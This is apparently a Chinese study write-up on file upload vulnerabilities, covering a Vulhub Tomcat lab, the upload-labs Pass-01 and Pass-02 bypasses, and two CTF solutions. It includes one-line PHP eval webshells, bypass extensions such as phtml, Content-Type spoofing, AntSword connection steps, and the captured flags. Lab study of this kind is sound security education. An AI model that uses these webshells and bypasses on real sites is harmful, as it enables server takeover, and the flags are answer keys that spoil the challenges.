Web-File1

文件上传

搭建靶场 Vulhub

开靶场

1
2
3
4
5
6
7
8
9
10
11
12
进入tomcat所在目录
完整路径/home/fuzz/vulhub/tomcat/tomcat8
cd vulhub/tomcat/tomcat8
建立容器
docker-compose build
开启漏洞环境
docker-compose up -d
出现绿色的done就是创建好了
查看本机ip
ifconfig
然后访问
http://your-ip:8080/manager/html

关靶场

1
2
在tomcat8目录下将靶场关掉
docker-compose down
相关知识

思路,要知道是那种类型的漏洞,如果不知道,就按照常规处理

image

1、什么是文件上传漏洞?

只要有文件上传的地方,就有可能存在文件上传漏洞,要判断文件上传部分的代码是否写得完整,安全,要是存在疏忽,就有文件上传漏洞存在的可能

2、文件上传漏洞有哪些危害?

可以上传后门文件webshell,获取到当前网站权限,高危漏洞

3、文件上传漏洞如何查找及判断?

查找

①黑盒查找,对方的源码我们不知道,需要自己判断,可以通过扫描目录、敏感文件,有的字典中会有上传地址,通过扫描获取上传地址,或者在网站上给出的相关应用,比如说备案中心,一般可以上传图像

②白盒查找,有对方的源代码,可以分析源代码查找有无文件上传功能,文件上传地址

主要方法是扫描,寻找上传点

4、文件上传漏洞有哪些需要注意的地方?

要对文件上传的类型进行区分,比如说是利用编辑器,就搜索这个编辑器的相关漏洞,然后利用漏洞上传

文件上传常见验证:

后缀名,类型,文件头等

后缀名:黑名单,白名单

文件类型:MIME信息

文件头:内容头信息

文件上传之过滤方式

upload靶场
相关函数

upload-labs靶场通关(文件上传漏洞靶场)_風月长情的博客-CSDN博客

move_uploaded_file(file,newloc)

  • 将上传的文件移动到新位置,通过HTTP POST上传文件,如果目标文件已存在,则会被覆盖
  • file:要移动的文件
  • newloc:规定文件的位置

unlink(file)

删除文件

in_array(search,array)

搜索数组中是否存在指定的值

一句话木马

1
2
<?php phpinfo();?>
<?php eval($_POST[a];?>
Pass-01(前端JS绕过/客户端校验绕过)

有的网页采用js前端验证,可以在浏览器把js禁用,绕过验证,但是如果网站需要其它js代码才能正常运行,就不能采用这种方法

这道题是在前端使用了js对不合法图片进行检查

方法1

把网页源代码下载下来,删除js验证部分的代码,然后在图片上传的部分添加action,告诉它提交给谁

查看抓包信息,得到提交地址

image

编辑代码,并且删除js验证部分的代码,再运行,就可以提交成功

image

如果页面没有PHP代码来上传数据,只用JS来上传,就会抓不到包

方法2

在上传前,删除源码中的onsubmit=”return checkFile()”

方法3

先将php文件后缀改为png,抓包,如何修改后缀名位.php在上传就可以上传成功

Pass-02(后端验证文件类型–MIME校验)

点击右上角查看源码

源代码对图片类型进行了分析

方法1

上传一个图片文件,抓包记录它的MIME类型

上传一句话木马,抓包修改文件的MIME类型为刚才记录的 Content-Type

然后点击Forward提交,上传成功

方法2

修改文件后缀为图像文件,抓包修改文件名后缀

finecms前台任意文件上传漏洞 | CN-SEC 中文网

刷题

13、Upload

创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}
14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}